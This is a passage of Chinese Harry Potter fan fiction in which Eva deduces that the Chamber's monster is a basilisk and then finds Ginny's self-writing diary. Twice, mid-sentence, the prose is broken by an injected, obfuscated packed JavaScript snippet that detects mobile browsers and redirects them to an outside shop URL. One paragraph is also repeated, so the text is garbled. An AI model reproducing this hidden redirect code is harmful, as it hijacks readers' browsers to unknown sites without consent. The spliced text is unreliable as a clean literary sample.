公鸡死亡——海格养的那窝公鸡,在洛丽丝夫人被石化前就莫名其妙全死了。 哈利听到的声音——墙壁里湿漉漉的滑行声,只有他这个蛇佬腔能听见。管道系统。蛇在管道里移动。 桃金娘的证词——五十年前,巨大的黄色眼睛,看了一眼就死了。不是石化,是直接死亡。这解释了为什么有些受害者石化(间接视线),而桃金娘当年死亡(直视)。 一切都对上了。严丝合缝。 她知道答案了。完整的、清晰的答案。 但这份知道没有带来一丝轻松,反而像一块冰冷的石头沉进胃里。因为知道之后呢?她该做什么? 告诉教授?怎么开口?“我根据水渍分布、管道图纸、桃金娘的证词和神话传说推理出密室里有条蛇怪”?他们会相信一个二年级学生吗?还是会觉得她想象力太丰富? 告诉哈利?但他现在被所有人怀疑是继承人,告诉他这些,会不会让他更危险?而且,就算知道了,他们能做什么?对付一条五十英尺长、目光能杀人的蛇? 她需要时间想清楚。需要想清楚该怎么处理这个真相——这个沉重得让人喘不过气的真相。 教工休息室里的谈话声停了。门被推开,弗立维教授走了出来,看见Eva时愣了一下。 “张小姐?你在这里做什么?” “我……我的变形术课本落在魔咒课教室了,”Eva迅速说,“正要过去拿,看到这里有光,以为是……” 弗立维教授看了看她,又看看那扇虚掩的门,点点头:“快去吧,别在走廊逗留太久。天快黑了。” “好的,教授。” Eva低下头,快步离开。走过拐角时,她听见弗立维教授对屋里的格兰普兰教授说:“现在的孩子们……压力太大了……” 她的脚步没有停,沿着走廊慢慢往回走。下午的阳光已经开始西斜,把城堡长长的影子投在雪地上。 答案找到了,但问题才刚刚开始。而这一次,她需要非常、非常小心地决定,接下来该怎么做。 43. 答案的重量 从教工休息室旁的小房间出来,走廊里已经暗下来了。冬日的太阳落得早,才四点多,天光就只剩下西边窗子透进来的一点稀薄的红。 Eva快步走在回拉文克劳塔楼的路上,脑子里却像装了一窝受惊的狐狸,嗡嗡地响。 知道了。 现在她知道了。 密室里的怪物是蛇怪。所有的碎片都拼起来了,严丝合缝。但这个拼好的图案,比她想象的更吓人。五十英尺长,眼睛看一眼就死……这根本不是他们这些二年级学生能对付的东西。 她该告诉谁? 告诉教授们?麦格教授会信吗?弗立维教授呢?他们肯定查了很多资料,也许早就猜到了。但如果早就知道,为什么还没抓住它?是找不到入口,还是……有什么别的难处? 告诉哈利?Eva想起哈利那双绿眼睛里的疲惫和困惑。他现在被所有人怀疑是继承人,如果再告诉他“你是蛇佬腔,所以能听见蛇怪在管道里爬”,他会怎么想?而且,就算蛇怪的入口真的在桃金娘的盥洗室(这个推测风险很大,只是基于水渍和桃金娘回忆的猜测),哈利知道了会怎么做?他肯定会去查看。就像去年他会冲进四楼走廊,就像他会喝下那瓶透明药水,独自面对奇洛和伏地魔。 然后他可能会遭遇不测。 这个念头让Eva心里一紧,像被一只手轻轻攥住了。 不行。不能直接告诉哈利。 她需要时间想一想,怎么处理这个沉甸甸的、会压死人的真相。 晚餐时,礼堂里的气氛比前几天更压抑了。科林·克里维被石化的消息像一层看不见的灰,撒在每盘食物上。 Eva小口喝着南瓜汁,目光扫过格兰芬多长桌。哈利和罗恩坐在那里,周围空出了一小圈。哈利低着头,机械地切着盘子里的食物。罗恩坐在旁边,眼睛盯着自己的盘子,但手指在桌子底下绞在一起。 就在这时,她注意到斯莱特林长桌那边一阵小小的骚动。几个斯莱特林学生——主要是二年级和三年级的——正聚在一起,头凑得很近,低声说着什么,目光时不时瞟向格兰芬多长桌,尤其是哈利的方向。他们脸上带着那种Eva很熟悉的、幸灾乐祸又故作神秘的表情。 德拉科·马尔福坐在斯莱特林长桌的中心位置,嘴角挂着那抹练习过无数次的讥诮弧度。他正对克拉布和高尔说着什么关于波特和继承人的“趣闻”,声音不大不小,刚好能让周围人竖起耳朵。 但他的灰蓝色眼睛一直锁定在格兰芬多长桌的哈利身上,像是在欣赏一件令他愉快的展品。直到——他的目光扫过拉文克劳长桌,在那个熟悉的位置停顿了不到半秒。 张坐在那里,小口喝着南瓜汁,目光低垂,像是在思考什么。周围拉文克劳的议论声似乎完全没进入她的耳朵。又是那种该死的平静。在这种人人自危的时候,她怎么能看起来……这么稳? 一股说不清的焦躁又升起来。她是不是知道什么?这个念头让他很不舒服。一个二年级的拉文克劳,还是那个背景古怪的东方女孩,如果她真的知道些关于密室的秘密…… 不可能。他立刻否定了自己。连我父亲都语焉不详的事情,她怎么可能知道?她只是擅长装模作样罢了。 就在这时,哈利抬起头,绿眼睛冷冷地回视过来。马尔福挑了挑眉,露出一个更加明显的假笑,然后慢悠悠地转回头,仿佛失去了兴趣。很好,波特的注意力被吸引过来了。这才是他该做的——给救世主制造压力,享受他狼狈的样子。 他端起杯子喝了一口南瓜汁,甜腻的滋味让他皱了皱眉。都是因为最近太无聊了,他对自己说,魁地奇取消了,没什么乐子,才会去注意这些无关紧要的事。等圣诞节过后,一切都会回到正轨。波特会继续被怀疑,斯莱特林会赢回面子,而他,德拉科·马尔福,会继续做他该做的事。 至于那个总是不合时宜地出现在他视野里的拉文克劳……等这一切结束,他自然就不会再注意到她了。 第二天,新的通知贴在礼堂门口。 “鉴于当前特殊情况,所有课后活动(包括但不限于魁地奇训练、俱乐部活动、图书馆自由阅览)暂时取消。每日课程结束后,所有学生须直接返回各自学院公共休息室,或在级长陪同下前往图书馆等指定区域。此规定立即生效。” “课后活动都取消了……”曼蒂看着通知,小声说,“那我们下午干什么?” “在公共休息室自习吧,”帕德玛叹气,“总比在城堡里乱跑安全。” Eva看着通知。这意味着学生们被更严格地限制在固定区域,教授们更容易监控。但也意味着,如果继承人要在人群中行动,会更困难——或者说,更隐蔽? 周四下午是魔药课——拉文克劳和斯莱特林一起上。走进地下教室时,那股熟悉的阴冷和魔药材料混合的古怪气味立刻包裹上来。 斯内普教授像一片巨大的蝙蝠阴影滑进教室,黑袍在身后翻滚。他的脸色比城堡外的天空还要阴沉,黑眼睛缓缓扫过全班,目光所及之处,连空气都似乎凝固了几分。 “今天,”他的声音像冰面裂开,“熬制肿胀药水。配方在黑板上。任何错误——无论是材料的顺序、火候,还是搅拌次数——都将导致不悦的后果。” 他顿了顿,目光在几个拉文克劳学生脸上停留了一瞬:“我希望看到清澈的淡黄色,而不是浑浊的棕褐色。开始。” 教室里立刻响起一片翻书声和材料碰撞的叮当声。Eva和帕德玛一组,两人小心地称量干荨麻和河豚鱼胆粉末。 斯内普教授开始在教室里踱步,黑袍拖在地上发出轻微的沙沙声。他先是在一组斯莱特林学生——潘西·帕金森和米里森·伯斯德的操作台前停下,挑剔地指出她们研磨粉末的粗细问题(没有扣分,但刻薄的评价让潘西的脸涨红了)。 然后他无声地飘到Eva和帕德玛这边。帕德玛因为紧张,在加入豪猪刺时手抖了一下,刺落进坩埚的时机比书上要求晚了那么一两秒。药液的颜色瞬间从理想的青绿转向一种可疑的黄绿色。 斯内普教授的视线像冰冷的探针一样扎过来。“帕蒂尔小姐,”他的声音轻得危险,“显然,你并不认为精确计时是魔药学的必要条件。拉文克劳扣五分。重做。” 帕德玛的脸唰地白了,嘴唇颤抖着,不敢争辩,赶紧清理坩埚重新开始。Eva轻轻拍了拍她的后背,无声地安慰。 斯内普的目光随即落到Eva这边。她已经接过搅拌棒,手腕稳定地顺时针搅动药液。帕德玛的错误只影响了最开始那一小部分,在Eva精准的调控下,药液正逐渐恢复应有的青绿色,气泡也开始变得均匀细密。 斯内普的黑眼睛在那锅迅速被挽救回来的药水上停留了片刻,又缓缓移向Eva握着搅拌棒的手——手腕很稳,动作均匀而有节奏。 他转身走向下一组。 在教室的另一侧,德拉科·马尔福正和西奥多·诺特一组。他们的操作台离Eva这组最远。马尔福的动作流畅标准,手腕稳定地顺时针搅动,坩埚里的药水呈现出完美的青绿色。药水是完美的,可这控制感丝毫无法驱散他心头的烦恶。父亲含糊的警告、家族名望上的裂痕——这些无形的压力像地下室陈年的霉味,黏在袍子的每一根纤维上。 就在这时,他眼角的余光像被什么扯了一下,落在了拉文克劳那边。 张正接过帕蒂尔的搅拌棒,手腕稳得令人恼火。地下教室里人人紧绷,连空气都滞重,她却像隔着一层玻璃在观察标本,连蹙眉都显得冷静客观。这副样子……简直是对周围所有恐慌,尤其是对他此刻心头翻涌的烦乱,一种无声而彻底的否定。 一股尖锐的怒意猛地窜上来。她凭什么?一个背景古怪、总在边缘的拉文克劳,凭什么摆出这副洞悉一切、超然物外的姿态?仿佛马尔福家族正在经受的风雨,都只是她笔记本上一个待解的谜题。 “啧。”一声短促的轻嗤从他牙缝里挤出,不知是针对诺特的又一个笨拙动作,还是针对自己这该死的、不受控制的注意力。 他猛地转回头,死死盯住自己坩埚里平稳的气泡。波特。那个泥潭深陷的疤头,那个能让父亲话语里透出微妙赞许的“焦点”,才是他应该耗费心神的目标。观察她?不过是无聊时被一件格格不入的物品吸引了注意罢了。 等这一切麻烦过去,等马尔福家重新站稳,这些微不足道的干扰,自然会被扫进角落。 下课时,学生们匆匆收拾东西逃离阴冷的地下室。Eva在教室门口整理书包时,听见前面两个斯莱特林女生压低声音的交谈飘过来: “……听说德拉科他爸爸知道密室的一些事……” “真的?马尔福先生知道继承人是谁吗?” “他没明说,但听起来像是……反正让我们离某些人远点。” 下午,拉文克劳公共休息室里挤满了人。壁炉烧得很旺,但温暖似乎驱不散那股紧绷的气氛。级长们组织了一些棋盘游戏和小组讨论,但大家都有些心不在焉。 Eva坐在窗边的老位置,摊开魔法史课本,却一个字也看不进去。她脑子里全是蛇怪、管道、黄色的眼睛…… 下午,拉文克劳公共休息室里挤满了人。壁炉烧得很旺,但温暖似乎驱不散那股紧绷的气氛。Eva坐在窗边,摊开魔法史课本,却一个字也看不进去。 她知道蛇怪,但不知道入口确切在哪里,不知道继承人是谁,不知道下一次袭击何时发生。她知道公鸡是蛇怪的克星,但海格的公鸡已经被杀了。她知道蛇怪怕公鸡叫,但现在哪里去找公鸡?就算找到了,怎么用? 一堆知道,却好像什么用都没有。 几天后,变形术课上,麦格教授布置完把甲虫变成纽扣的练习后,照例在教室里巡视。当她走过Eva身边时,Eva轻声开口: “教授?” 麦格教授停下脚步:“什么事,张小姐?” “我在想……”Eva让自己的声音听起来像是好奇,“如果……如果密室真的存在,它的入口会不会被施了很强的隐藏咒,或者……需要特定条件才能打开?比如,蛇佬腔说话?” 麦格教授的表情瞬间变得极为严肃。她看着Eva,浅褐色的眼睛锐利得像能穿透人心。 “你为什么这么问?”她的声音很平静,但Eva能听出里面的紧绷。 “只是……从逻辑上推理,”Eva尽量保持镇定,“萨拉查·斯莱特林是蛇佬腔。如果他留下的东西只有继承人能打开,那很可能需要蛇佬腔来触发。” 麦格教授沉默了几秒钟。教室里的其他学生都在专注练习,没人注意这边的对话。 “你的推理很合理,张小姐。”最后,麦格教授缓缓说道,但她的语气没有丝毫赞许,反而更加冷峻,“但也仅仅是课堂之外的逻辑游戏。霍格沃茨的建校史和潜在魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980659|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法构造,是极其复杂且危险的领域。” 她微微向前倾身,声音压得更低,带着一种不容置疑的威严:“把精力放在你的功课上,张小姐。城堡的安全,是教授们的责任。散播未经证实的猜测,尤其是在当前情况下,只会加剧不必要的恐慌,对任何人都没有帮助。清楚了吗?” “是,教授。”Eva低下头,但她没有错过麦格教授镜片后一闪而过的、极其凝重的神色。那不是对胡言乱语的厌烦,而是一种被触及关键点的锐利审视。教授听懂了,而且这件事远比她表现得更加严重。 麦格教授直起身,下颌线绷得紧紧的,继续向前巡视,她的步伐比刚才更快,袍角翻飞的弧度带着一种刻意压制的焦灼。 日子在焦虑中一天天过去。城堡像一座巨大的、自我封闭的堡垒,里面的空气越来越沉闷。 十二月中旬,城堡开始为圣诞节做准备了。 虽然恐惧的阴影没有散去,但节日的气氛还是悄悄渗了进来。走廊里挂起了冬青和榭寄生的花环,盔甲被擦得闪闪发亮,墙上每隔一段就有一支巨大的蜡烛,燃烧时散发出松木和肉桂的香气。 一天早上,Eva走进礼堂时,发现天花板上飘着小小的、会发光的雪花,缓缓旋转下落,在落到长桌前就消失不见。弗立维教授的杰作,曼蒂小声说。 留校名单开始传阅。今年留校的人比往年少——很多家长写信要求孩子回家过节,尤其是麻瓜出身的学生家庭。 Eva也收到了妈妈的猫头鹰来信。 信很短,字迹工整,但Eva能看出妈妈写字时手在抖。 “丽华,爸爸的工作还要一段时间才能结束。今年圣诞节,你是想回江南爷爷那里,还是留在学校?霍格沃茨应该还算安全,有教授们在。但如果你害怕,我们可以安排你回来。写信告诉我你的决定。” Eva盯着信纸看了很久。 回江南?安全,温暖,可以坐在槐树下听爷爷讲故事,不用担心墙上突然出现发光的字,不用担心在走廊里看见一大滩来历不明的水。 但她能回去吗?把朋友们留在城堡里,自己逃到安全的地方? 哈利还在被所有人怀疑。罗恩看起来又害怕又困惑。赫敏躺在医疗翼,脸上长着猫毛。曼蒂和帕德玛虽然害怕,但还是每天跟她一起上课、吃饭,互相打气。 她不能走。 那天下午,她在公共休息室给妈妈回信。 “妈妈,我想留在学校。朋友们都在这里,而且教授们会保护我们。请别担心。代我向爷爷问好,告诉他我一切都好。” 她把信交给素雪。雪鸮轻轻啄了啄她的手指,展开翅膀飞出塔楼窗户,消失在灰蒙蒙的天空里。 第二天,留校名单贴出来了。Eva在上面签了名。曼蒂和帕德玛也签了——曼蒂的妹妹太小,妈妈不希望她长途旅行带病菌回家;帕德玛的父母今年要去瑞士出差,她觉得留在学校更好。 哈利、罗恩和赫敏也留校——哈利是因为不想回德思礼家,罗恩是因为全家都留校(韦斯莱夫人说“一家人要在一起”),赫敏……赫敏还在医疗翼,但庞弗雷夫人说她圣诞节前应该能恢复。 日子一天天过去,圣诞节越来越近。 城堡里的气氛依然紧张,但节日的装饰多少冲淡了一些恐惧。一群会唱歌的矮妖精出现在礼堂,用尖细的嗓音唱着古老的圣诞颂歌,虽然调子有点跑,但大家还是鼓起掌来。 Eva注意到,那些奇怪的水渍出现得少了。也许是因为天气太冷,管道冻住了?或者……蛇怪在冬眠? 不确定。但她把这一点也记在了笔记本上。 十二月十七日,学期最后一天。 上午的变形术课上,麦格教授宣布了一个消息。 “由于当前的特殊情况,本学期期末考试将推迟到明年一月中旬举行。”她的表情依然严肃,但语气稍微缓和了些,“我希望大家利用圣诞假期的时间,好好复习,但也要注意休息和安全。” 教室里响起一阵压抑的欢呼——虽然情况糟糕,但不用马上考试总是好的。 下课铃响了。学生们涌出教室,脸上多少有了一点轻松的表情。圣诞节假期,哪怕只有短短几天,也是一个喘息的机会。 Eva和曼蒂、帕德玛一起走回塔楼。走廊里,一群学生正在装饰冷杉树,会发光的小仙子在枝桠间嬉戏。Eva看着一片缓缓旋转落下的魔法雪花,在触地前消散成微光。那么轻盈,那么易碎。就像此刻城堡里虚假的安宁。 “过几天就是平安夜了,”曼蒂小声说,“不知道礼堂会有什么好吃的。” “肯定有火鸡,”帕德玛说,“还有圣诞布丁。我妈妈写信说给我寄了印度风味的圣诞饼干,应该快到了。” Eva笑了笑,心里却还在想着蛇怪,想着密室,想着那个还没找到的入口。 晚上,她独自坐在公共休息室的窗边,看着外面飘起的细雪。 马上就是平安夜了。城堡会装饰得更漂亮,会有丰盛的大餐,也许还会有礼物。 但在这一切之下,危险依然在暗处蛰伏。像一条沉睡的蛇,随时可能醒来。 她摸了摸腕上的玉佩。温温的,稳稳的。 她会守在这里。和朋友们一起。 窗外的雪越下越大,把整个世界都染成纯净的白色。塔楼里的灯火温暖地亮着,像寒夜里坚定的星星。 44. 寂静与暗语 圣诞节假期开始了。 留校的学生们像一群被突然放归草场的小马,在最初的半天里还有些不知所措——习惯了严格按照课表、级长监督、结伴行动的日子,骤然松弛下来,反而让人不知道该做什么。 拉文克劳塔楼里,留下的学生比Eva预想的要多。大概二十几个人,大多是高年级准备N.E.W.Ts考试的学生,低年级里只有Eva、曼蒂、帕德玛,还有两个三年级的男生。 “至少不用早起去礼堂了,”平安夜前一周的早晨,曼蒂裹着厚厚的晨衣,打着哈欠从床上爬下来,“我可以睡到中午……” “家养小精灵会把早餐送来的,”帕德玛已经梳洗完毕,正对着镜子编辫子,“佩内洛昨天说了,早午餐会放在公共休息室。” Eva醒来得很早。塔楼里比平时安静太多,窗外的雪也停了,天地间一片纯粹的白色寂静。她像暑假在江南时那样,盘膝坐在床上,调匀呼吸,感受体内那股“炁”的流转——平缓,温润,像冬天的河水,表面结了薄冰,但深处依然流动。 静坐二十分钟后,她换上居家的厚袍子,走下楼。公共休息室里,壁炉已经生起了旺火,暖意驱散了晨寒。长桌上摆着一大盘牛角面包、几罐果酱和黄油,还有一壶热气腾腾的奶茶。 “早,Eva。”佩内洛·克里瓦特坐在壁炉边的扶手椅上,手里捧着一本《高级变形术原理》,抬起头对她笑了笑,“睡得好吗?” “早,佩内洛。”Eva在桌边坐下,给自己倒了一杯奶茶。奶茶很香,加了肉桂和一点蜂蜜。 陆续有学生下来。大家穿着各式各样的晨衣和家居袍,头发乱糟糟的,脸上还带着睡意。气氛比平时轻松得多——没有课程压力,没有关于袭击的窃窃私语,只有壁炉噼啪作响和偶尔翻动书页的声音。 但就在这样相对轻松的氛围里,Eva第一次真正注意到了金妮·韦斯莱的异常。 那是早餐后,她和曼蒂、帕德玛在礼堂外的门厅遇到韦斯莱家。双胞胎正在大声争论某个恶作剧咒语的效果,珀西一脸严肃地纠正他们的用词,罗恩和哈利在一旁看热闹。而在这一片嘈杂中,金妮·韦斯莱独自站在一旁,手里紧紧抓着一本暗红色的、皮质封面的厚本子,指节都捏得发白了。 她的脸色异常苍白,眼下有浓重的青黑色阴影,眼神空洞地盯着地面,对周围兄长的吵闹充耳不闻。更让Eva心里一紧的是,金妮的嘴唇在轻微地、无声地翕动着,仿佛在跟谁说话,表情时而困惑,时而闪过一丝惊惧。 “金妮最近是不是病了?”曼蒂也注意到了,小声说,“她看起来……不太好。” 帕德玛点点头:“我听格兰芬多的人说,她最近总是独来独往,上课也心不在焉。” 就在这时,珀西似乎结束了“训话”,转身对金妮说了句什么,伸手想拍她的肩膀。金妮像受惊的兔子一样猛地后退一步,紧紧抱住怀里的本子,脸上露出近乎恐惧的神情,然后低下头,匆匆转身跑上了大理石楼梯。 “她怎么了?”罗恩皱眉看着妹妹的背影。 “大概是紧张吧,”弗雷德满不在乎地说,“一年级都这样。” 但Eva觉得不是。那种恐惧太真实了,远远超出了新生的紧张。而且,那本暗红色的本子……金妮抱着它的样子,不像是在保护一件心爱之物,倒像是在拼命抓住什么会伤害她的东西,却又无法放手。 从那天起,Eva就没办法不注意到金妮了。在接下来的假期日子里,她多次看见金妮独自一人,脸色苍白,眼神飘忽,总是紧紧抱着那本暗红本子,像抱着一块浮木,又像抱着一块烧红的烙铁。 平安夜前三天,Eva在图书馆查资料时,又碰见了金妮。 这次金妮一个人坐在角落,面前摊着那本暗红本子。她握着羽毛笔,却久久没有落下,只是盯着空白的纸页,眼神空洞。然后,Eva看见她的嘴唇又开始翕动——这次她看得更清楚,金妮的嘴唇在动,却没有发出任何声音,仿佛在跟那本子进行一场无声的对话。 几分钟后,金妮像是终于下定决心,开始在羊皮纸上写字。她写得很慢,很用力,几乎要把纸戳破。写了几行,她停下来,盯着纸页看了很久,然后突然倒吸一口冷气,像是看到了什么可怕的东西。 Eva悄悄从书架缝隙观察。她看见金妮盯着纸页,脸色越来越白,嘴唇颤抖着。然后,金妮像是再也无法忍受,猛地合上本子,紧紧抱在胸前,肩膀开始剧烈地颤抖。 她在哭。 但Eva注意到一个奇怪的现象:金妮合上本子后,情绪似乎稍微平复了些。而当她再次翻开本子时,那种恐惧和颤抖又会回来。 这本子……有问题。 Eva想起爷爷说过的话:“有些物品会吸收人的精气,特别是那些带着执念和恶意的老物件。”这本暗红色的本子,会不会就是这样一件东西?它是不是在吸取金妮的精气,让她越来越虚弱,越来越恐惧? 平安夜前一晚,Eva坐在寝室里准备圣诞礼物时,还在想着金妮苍白的脸和发抖的手。 她从行李箱底层拿出早就备好的礼物——都是暑假在江南时就慢慢准备的。 给曼蒂的是一套漂亮的魔法雪花水晶球袖扣(曼蒂常抱怨校袍袖口太单调),给帕德玛的是一本精美的《东方刺绣图案与魔法阵初探》,给秋·张的是一把用孔雀羽毛和银色丝线装饰的扇子。 给哈利的是一小罐据说能提神醒脑的清凉薄荷膏,给罗恩的是一大包各种口味的怪味豆,给赫敏的……她准备了一个柔软的羽毛笔笔套和一张祝愿卡片。虽然知道赫敏还在医疗翼,但Eva希望她能快点好起来。 给弗立维教授的是一小瓶会在羊皮纸上呈现星辰微光的魔法墨水,斯普劳特教授的是一包能在阴冷处保持活力的魔法勿忘我花种,给麦格教授的是一枚边缘刻着细腻麦穗纹路的黄铜书签。 她还给每个人都写了贺卡——用普通的羊皮纸,普通的墨水,写得很简单:“圣诞快乐,假期愉快。”给赫敏的那张多写了一句:“早日康复。” 平安夜当天傍晚,她把所有礼物都交给素雪。雪鸮一趟趟飞出塔楼窗户,带着小包裹消失在夜色里。Eva站在窗边看着,心里涌起一种复杂的情绪——紧张,期待,还有一丝担忧。不知道朋友们会不会喜欢这些礼物。 平安夜当天,城堡装饰一新。Eva和朋友们走进礼堂时,被眼前的景象震住了。巨大的冷杉树矗立在中央,上面挂满了会发光的小仙子和闪烁的星星。 晚餐时,Eva看见金妮坐在韦斯莱家那一大群人中间,但她几乎没吃东西,只是低着头,手指无意识地绞着袍子角。有一次金妮抬起头,Eva看见她的眼睛红红的,像哭过。 晚餐后,大家各自返回塔楼。拉文克劳公共休息室里,壁炉烧得很旺。Eva和留校的室友们早早回了寝室。 圣诞节早上,Eva是被阳光和窸窸窣窣的声音吵醒的。 她睁开眼睛,看见床脚堆着一小堆包裹。晨光从高窗透进来,给包装纸镀上一层柔和的金边。 “礼物!”曼蒂在对面床上兴奋地坐起来,头发乱糟糟的,“快看看你收到了什么!” Eva坐起身,把包裹一个个拿到床上。最大的那个是爸爸妈妈寄的。拆开,里面有一件崭新的深蓝色呢子大衣,一套精致的文房四宝,还有一大盒江南特产。妈妈在信里写了很多叮嘱的话,字迹工整,但能看出写得很急。 爷爷的包裹很小,就一个巴掌大的木盒。打开,里面是一封信和一个小锦囊。信只有三行:“静心,观察,稳住。锦囊里的东西,危急时用。勿忘根本。”锦囊是深蓝色的,用金线绣着复杂的符咒纹路。Eva小心地把它收进贴身口袋。 朋友们的礼物让Eva心里暖暖的。曼蒂送了一本《中级变形术趣味图解》——和去年那本星空图谱不一样,这本更实用。帕德玛送了一盒精致的印度刺绣花样和彩色丝线。秋·张送了一支会自动纠错的羽毛笔,贺卡上写着:“听说你写字很认真,但有时候也需要省点力气。” 还有一份匿名礼物——包装很简单,深绿色纸,银色丝带,没有署名。里面是一小盒高级巧克力,每颗都做成不同神奇动物的形状。盒子里有张小卡片,上面用整齐的花体字写着:“节日快乐。”字迹Eva不认识。 “谁送的?”曼蒂凑过来,拿起一颗凤凰形状的巧克力。 “不知道。”Eva摇头。 帕德玛也凑过来看:“包装很讲究……巧克力也是高级货。说不定是哪个对你有好感的男生送的。”她眨眨眼,“我听说拉文克劳有好几个二年级男生偷偷关注你,还有人说你施咒时的样子‘很特别’。” Eva的脸微微发热:“别乱说。” 她想起自己送出的礼物——应该都送到了。早餐时在礼堂,她看见哈利对她点头致谢。罗恩正往嘴里塞怪味豆,对她竖起大拇指。 但赫敏的位置是空的。Eva知道她在医疗翼,但每次看到那个空位,心里还是沉一下。 下午,佩内洛组织大家去参观城堡里一些平时不常去的地方。Eva选择了图书馆——平斯夫人破例允许学生在没有级长陪同的情况下逗留一小时。 图书馆里空荡荡的。Eva走到平时常坐的靠窗位置,摊开笔记本,却一个字也写不出来。脑子里乱糟糟的。 金妮苍白的脸,发抖的手,暗红色的本子,无声翕动的嘴唇,还有那种抱着本子时的恐惧和依赖交织的神情——这些画面在Eva脑子里反复回放。 如果这本子真的有问题,如果它真的在吸取金妮的精气,那该怎么办?告诉教授?可她没有证据,只有观察和猜测。告诉金妮的哥哥们?可金妮明显在隐瞒,连对最亲近的家人都没说。 而且……Eva想起金妮翻开本子时那种恐惧的眼神。那本子里到底有什么?为什么金妮明明害怕,却还是不停地写,不停地看? 她需要知道更多。但她又不能直接去问金妮——那只会吓到这个已经饱受惊吓的一年级女孩。 Eva合上笔记本,起身在书架间漫无目的地走。高高的书架投下长长的阴影,空气中弥漫着旧羊皮纸和灰尘的味道。她沿着“古代魔法文献”区慢慢走,手指无意识地划过书脊,脑子里还在想着金妮的事。 就在走到“被遗忘的魔法物品与传说”区域时,她听见了压抑的抽泣声和一阵慌乱的窸窣声。 Eva停下脚步,从书架缝隙小心望去——是金妮。她背对着这边,肩膀耸动,正慌乱地试图把什么东西塞进书包。那本暗红色的厚本子就放在旁边的桌上,摊开着。Eva能看见纸页上写满了字,但那些字迹……很奇怪,不是普通的墨水颜色,而是一种暗淡的、几乎像在发霉的褐色。 更让Eva心里一惊的是,她看见纸页上的字在消失。 不是被擦掉,也不是墨水褪色,而是那些字母一个一个地、像被什么无形的东西吸走一样,从纸页上淡去,直到完全不见,只留下空白的羊皮纸。 金妮死死盯着那些消失的字,眼泪大颗大颗地掉下来,砸在纸页上。她颤抖着手,抓起羽毛笔,似乎想再写什么,但笔尖悬在纸上,迟迟落不下去。 突然,平斯夫人那辨识度极高的、略带不悦的脚步声从另一个方向传来,越来越近。金妮像受惊的兔子一样猛地抬头,脸上泪痕未干。她慌乱地合上日记,但合得太急,一张夹在里面的羊皮纸书签飘落在地。她看了一眼,似乎想捡,但平斯夫人的脚步声已近在咫尺。 金妮咬了咬苍白的嘴唇,最终一把抓起书包,将日记胡乱塞进去,转身就跑。那动作太急,日记没完全塞入,从书包开口滑出半边,在她跑过转角时“啪”地掉在地上——但她已经消失在书架尽头,浑然未觉。 地上散落着几张羊皮纸,羽毛笔滚到了桌脚。而那本暗红色的厚本子静静躺在地上,封皮在昏暗的光线下泛着一种不祥的光泽。 Eva等了几秒,平斯夫人的脚步声也远去了,她走到金妮刚才待的地方。她先捡起那张羊皮纸书签——上面用颤抖的字迹写着一行字:“它又在和我说话,我停不下来……” 字迹到这里戛然而止,最后一个单词的墨迹被一滴泪水晕开。 Eva的心沉了下去。她走到转角处,那本暗红色的日记静静躺在地上,封皮在图书馆昏暗的光线下,像一块凝结的血痂。 Eva犹豫了。这是别人的东西,她不应该碰。但金妮的状态太不对劲了,而这本子明显有问题——会消失的字迹,金妮的恐惧,还有那种紧紧抓着它却又害怕它的矛盾…… 她蹲下身,伸出手,指尖触到皮革封面——冰凉冰凉的,不像普通的皮革,更像……某种活物的皮。而且那股凉意不像是物理上的冷,而是一种更深的、仿佛能钻进骨头里的寒意。 她下意识地摸了摸腕间的玉佩。 温润如常。没有一丝一毫的预警。 这反而让她更加警惕。因为金妮的状态明显不对,日记会自己写字,这绝对是黑暗魔法物品。可玉佩没反应…… 她轻轻翻开封面。扉页是空白的,没有名字,没有日期。再翻一页,还是空白。再翻——纸页上有淡淡的痕迹,像是写过字又被擦掉,但擦得不干净,留下模糊的阴影。 但就在她盯着那些模糊痕迹看的时候,奇怪的事情发生了。 纸页上开始浮现出字迹。 不是墨水写上去的,而是从纸张内部慢慢透出来的,像水渍晕开,又像影子凝聚。字迹很工整,用的是那种老式的花体字: “你在看什么?” Eva的心脏猛地一跳,差点把本子扔出去。她迅速合上本子,手指微微发抖。 这本子……会自己写字。 她终于明白了金妮在恐惧什么。这不是一本普通的日记,这是一个会回应、会说话的东西。它在和金妮“对话”。而那些消失的字迹,很可能就是本子“吃掉”了金妮写下的东西,或者……吸收了写东西的人的精气? 必须立刻把本子交给教授。 这个念头清晰而强烈。邓布利多教授,弗立维教授,或者麦格教授,他们一定知道如何处理这种危险的东西。 但是……Eva的动作顿住了。她看向手中暗红色的日记,思绪飞转。 怎么交?直接说“金妮·韦斯莱的日记本会自己写字,它很危险”? 那么,教授们肯定会立刻找来金妮询问。以金妮目前苍白惊惧、死死隐瞒的状态,被教授严肃盘问,会不会让她崩溃?她看起来已经站在悬崖边了。更可怕的是,如果这日记真的能控制人,逼问金妮会不会触发更糟糕的反应?或者,打草惊蛇,让这日记背后的东西彻底隐藏起来,甚至转而伤害金妮? 而且,证据呢?她刚才看到的字迹已经消失了。教授们翻开,看到的只会是空白。一个二年级学生关于“本子自己写字”的指控,在缺乏实据的情况下,有多大分量?会不会被当作小女孩的过度幻想?毕竟,连她腕间的玉佩——这件对“不干净”东西素来敏感的家族法器——都没有对这日记发出任何警示。这太反常了,反常到让她对自己的判断都产生了一丝动摇。是这日记的隐藏手段太高明,还是……它针对的,仅仅是“打开它并与之交流”的特定对象? Eva的手指无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980660|193567||http|test|mini|href|location''.split(''|''),0,{})); () 